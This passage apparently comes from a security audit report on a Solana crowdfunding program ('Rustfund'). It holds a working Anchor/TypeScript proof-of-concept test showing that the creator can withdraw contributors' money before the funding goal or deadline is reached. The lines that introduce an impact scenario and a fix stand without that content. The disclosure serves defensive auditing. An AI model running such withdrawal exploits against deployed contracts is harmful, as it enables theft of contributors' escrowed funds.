The function simply transfers the entire amount raised without checking if the campaign has met its goal or if the deadline has passed. This completely bypasses the crowdfunding platform's intended trust model and security guarantees.
The following test demonstrates how a creator can withdraw funds both before the goal is met and before the deadline is reached:
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey } from '@solana/web3.js';
import { expect } from 'chai';
describe("Lack of campaign success verification before withdrawal", () => {
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
const program = anchor.workspace.Rustfund as Program<Rustfund>;
const creator = provider.wallet;
const contributor = anchor.web3.Keypair.generate();
const fundName = "Fund_withdrawal";
const description = "Testing vulnerability in withdraw - no campaign success verification";
const goal = new anchor.BN(2000000000);
const contributionAmount = new anchor.BN(1000000000);
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 3600);
let fundPDA: PublicKey;
let fundBump: number;
let contributionPDA: PublicKey;
let contributionBump: number;
before(async () => {
[fundPDA, fundBump] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
const airdropSignature = await provider.connection.requestAirdrop(
contributor.publicKey,
5 * anchor.web3.LAMPORTS_PER_SOL
);
await provider.connection.confirmTransaction(airdropSignature);
});
it("Creates a fund with a goal of 2 SOL", async () => {
await program.methods
.fundCreate(fundName, description, goal)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("Fund created with goal:", fund.goal.toString(), "lamports");
expect(fund.goal.toString()).to.equal(goal.toString());
});
it("Sets a deadline in the future", async () => {
await program.methods
.setDeadline(futureDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("Deadline set to:", fund.deadline.toString());
expect(fund.deadline.toString()).to.equal(futureDeadline.toString());
});
it("Contributes 1 SOL (half of the goal)", async () => {
[contributionPDA, contributionBump] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(contributionAmount)
.accounts({
fund: fundPDA,
contributor: contributor.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributor])
.rpc();
const fund = await program.account.fund.fetch(fundPDA);
console.log("Amount raised:", fund.amountRaised.toString(), "lamports");
expect(fund.amountRaised.toString()).to.equal(contributionAmount.toString());
const fundBalance = await provider.connection.getBalance(fundPDA);
console.log("Fund balance:", fundBalance);
expect(fundBalance).to.be.at.least(contributionAmount.toNumber());
});
it("Creator can withdraw funds even though goal is not met", async () => {
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
console.log("Creator balance before withdrawal:", creatorBalanceBefore);
const fundBalanceBefore = await provider.connection.getBalance(fundPDA);
console.log("Fund balance before withdrawal:", fundBalanceBefore);
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
console.log("Creator balance after withdrawal:", creatorBalanceAfter);
const balanceIncrease = creatorBalanceAfter - creatorBalanceBefore;
console.log("Balance increase:", balanceIncrease);
expect(balanceIncrease).to.be.approximately(contributionAmount.toNumber(), 10000);
const fundBalanceAfter = await provider.connection.getBalance(fundPDA);
console.log("Fund balance after withdrawal:", fundBalanceAfter);
expect(fundBalanceAfter).to.be.below(fundBalanceBefore);
});
it("Creator can withdraw before deadline", async () => {
const earlyWithdrawFundName = "Early Withdraw Fund";
const [earlyWithdrawFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(earlyWithdrawFundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(earlyWithdrawFundName, "Testing early withdrawal", goal)
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const veryFutureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 30 * 24 * 60 * 60);
await program.methods
.setDeadline(veryFutureDeadline)
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
})
.rpc();
const [newContributionPDA] = await PublicKey.findProgramAddress(
[earlyWithdrawFundPDA.toBuffer(), contributor.publicKey.toBuffer()],
program.programId
);
const contributorBalanceBefore = await provider.connection.getBalance(contributor.publicKey);
console.log("Contributor balance before second contribution:", contributorBalanceBefore);
await program.methods
.contribute(contributionAmount)
.accounts({
fund: earlyWithdrawFundPDA,
contributor: contributor.publicKey,
contribution: newContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributor])
.rpc();
const contributorBalanceAfter = await provider.connection.getBalance(contributor.publicKey);
console.log("Contributor balance after second contribution:", contributorBalanceAfter);
console.log("Spent on contribution:", contributorBalanceBefore - contributorBalanceAfter);
const fund = await program.account.fund.fetch(earlyWithdrawFundPDA);
const currentTime = Math.floor(Date.now() / 1000);
console.log("Current time:", currentTime);
console.log("Fund deadline:", fund.deadline.toString());
expect(fund.deadline.toNumber()).to.be.above(currentTime);
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
await program.methods
.withdraw()
.accounts({
fund: earlyWithdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
const balanceIncrease = creatorBalanceAfter - creatorBalanceBefore;
console.log("Balance increase from early withdrawal:", balanceIncrease);
expect(balanceIncrease).to.be.approximately(contributionAmount.toNumber(), 10000);
});
});
To illustrate the real-world impact of this vulnerability, consider this scenario:
This scenario completely undermines the trust model of the crowdfunding platform, which is supposed to protect contributors by holding funds in escrow until a project is successful.
These conditions align with the platform's documented behavior and security model, ensuring that contributors' funds are properly protected until the campaign succeeds.